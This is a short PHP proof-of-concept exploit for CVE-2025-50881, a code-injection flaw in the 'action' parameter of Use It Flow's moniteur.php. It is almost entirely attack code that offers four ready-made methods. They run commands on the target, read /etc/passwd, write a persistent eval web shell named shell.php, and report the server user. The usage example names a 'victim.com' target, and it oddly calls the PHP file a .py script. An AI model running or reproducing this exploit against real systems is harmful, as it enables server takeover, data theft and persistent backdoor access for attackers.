CVE-2025-50881 Use It Flow moniteur.php远程代码执行漏洞

<?php /** * CVE-2025-50881 PoC - Use It Flow RCE via action parameter * Target: flow/admin/moniteur.php * Vulnerability: Insufficient validation in eval() allows PHP code injection * * Usage: php cve-2025-50881.py <target_url> * Example: php cve-2025-50881.py http://victim.com/useitflow */ $target = $argv[1] ?? 'http://localhost'; $path = '/flow/admin/moniteur.php'; // Method 1: Basic RCE via system() $action1 = "system()*/}system('id');/*"; $url1 = "{$target}{$path}?action=" . urlencode($action1); echo "[*] Method 1: Basic RCE\n"; echo "[*] URL: {$url1}\n"; $response1 = file_get_contents($url1); echo "[+] Response:\n{$response1}\n\n"; // Method 2: Using passthru() for blind RCE $action2 = "passthru()*/}passthru('cat /etc/passwd');/*"; $url2 = "{$target}{$path}?action=" . urlencode($action2); echo "[*] Method 2: Read /etc/passwd\n"; echo "[*] URL: {$url2}\n"; $response2 = file_get_contents($url2); echo "[+] Response:\n{$response2}\n\n"; // Method 3: Using exec() to write webshell $webshell = '<?php @eval($_POST["cmd"]); ?>"'; $action3 = "file_put_contents()*/}file_put_contents('shell.php','" . $webshell . "');/*"; $url3 = "{$target}{$path}?action=" . urlencode($action3); echo "[*] Method 3: Write Webshell\n"; echo "[*] URL: {$url3}\n"; echo "[!] After execution, webshell may be available at: {$target}/shell.php\n\n"; // Method 4: Using shell_exec() $action4 = "shell_exec()*/}echo shell_exec('whoami');/*"; $url4 = "{$target}{$path}?action=" . urlencode($action4); echo "[*] Method 4: Get current user\n"; echo "[*] URL: {$url4}\n"; $response4 = file_get_contents($url4); echo "[+] Response:\n{$response4}\n"; ?>